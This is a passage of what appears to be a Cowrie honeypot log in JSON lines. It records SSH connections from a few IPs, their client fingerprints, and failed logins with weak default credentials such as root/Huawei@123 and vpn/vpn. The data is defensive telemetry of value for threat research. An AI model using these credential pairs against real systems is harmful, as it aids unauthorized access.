{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:45.465165Z","src_ip":"103.75.199.4","session":"68b8ab210226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:45.556627Z","src_ip":"103.75.199.4","session":"68b8ab210226","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:45.830567Z","src_ip":"103.75.199.4","session":"68b8ab210226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57898,"dst_ip":"159.203.135.109","dst_port":22,"session":"7383bb12a99e","protocol":"ssh","message":"New connection: 45.153.34.114:57898 (159.203.135.109:22) [session: 7383bb12a99e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:46.884124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:46.888668Z","src_ip":"45.153.34.114","session":"7383bb12a99e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:46.925358Z","src_ip":"103.75.199.4","session":"68b8ab210226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:46.977815Z","src_ip":"45.153.34.114","session":"7383bb12a99e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:47.363167Z","src_ip":"45.153.34.114","session":"7383bb12a99e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:48.452906Z","src_ip":"45.153.34.114","session":"7383bb12a99e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34674,"dst_ip":"159.203.135.109","dst_port":22,"session":"c083c3ca807c","protocol":"ssh","message":"New connection: 45.153.34.114:34674 (159.203.135.109:22) [session: c083c3ca807c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:54.467701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:54.547213Z","src_ip":"45.153.34.114","session":"c083c3ca807c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:54.618684Z","src_ip":"45.153.34.114","session":"c083c3ca807c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:54.904192Z","src_ip":"45.153.34.114","session":"c083c3ca807c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:23:55.999777Z","src_ip":"45.153.34.114","session":"c083c3ca807c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37472,"dst_ip":"159.203.135.109","dst_port":22,"session":"890717a2015e","protocol":"ssh","message":"New connection: 45.153.34.114:37472 (159.203.135.109:22) [session: 890717a2015e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:02.400504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:02.406318Z","src_ip":"45.153.34.114","session":"890717a2015e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:02.501974Z","src_ip":"45.153.34.114","session":"890717a2015e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:02.765496Z","src_ip":"45.153.34.114","session":"890717a2015e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:03.864866Z","src_ip":"45.153.34.114","session":"890717a2015e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.32602143287659,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:06.837364Z","src_ip":"50.6.8.71","session":"db209cf92407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54878,"dst_ip":"159.203.135.109","dst_port":22,"session":"22c7c2a68eac","protocol":"ssh","message":"New connection: 103.75.199.4:54878 (159.203.135.109:22) [session: 22c7c2a68eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:07.363863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:07.367941Z","src_ip":"103.75.199.4","session":"22c7c2a68eac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:07.459383Z","src_ip":"103.75.199.4","session":"22c7c2a68eac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:07.732261Z","src_ip":"103.75.199.4","session":"22c7c2a68eac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:08.826354Z","src_ip":"103.75.199.4","session":"22c7c2a68eac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60700,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3e9d261c67c","protocol":"ssh","message":"New connection: 45.153.34.114:60700 (159.203.135.109:22) [session: a3e9d261c67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:09.611827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:09.620545Z","src_ip":"45.153.34.114","session":"a3e9d261c67c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:09.705022Z","src_ip":"45.153.34.114","session":"a3e9d261c67c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:09.978383Z","src_ip":"45.153.34.114","session":"a3e9d261c67c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:11.087814Z","src_ip":"45.153.34.114","session":"a3e9d261c67c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60716,"dst_ip":"159.203.135.109","dst_port":22,"session":"b51f009ddb0e","protocol":"ssh","message":"New connection: 45.153.34.114:60716 (159.203.135.109:22) [session: b51f009ddb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:16.959442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:16.965102Z","src_ip":"45.153.34.114","session":"b51f009ddb0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:17.064574Z","src_ip":"45.153.34.114","session":"b51f009ddb0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:17.335917Z","src_ip":"45.153.34.114","session":"b51f009ddb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:18.447937Z","src_ip":"45.153.34.114","session":"b51f009ddb0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53798,"dst_ip":"159.203.135.109","dst_port":22,"session":"34f309571373","protocol":"ssh","message":"New connection: 45.153.34.114:53798 (159.203.135.109:22) [session: 34f309571373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:24.341235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:24.349169Z","src_ip":"45.153.34.114","session":"34f309571373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:24.433522Z","src_ip":"45.153.34.114","session":"34f309571373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:24.690276Z","src_ip":"45.153.34.114","session":"34f309571373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:25.781608Z","src_ip":"45.153.34.114","session":"34f309571373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44772,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeaefa815522","protocol":"ssh","message":"New connection: 103.75.199.4:44772 (159.203.135.109:22) [session: aeaefa815522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:29.244789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:29.249192Z","src_ip":"103.75.199.4","session":"aeaefa815522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-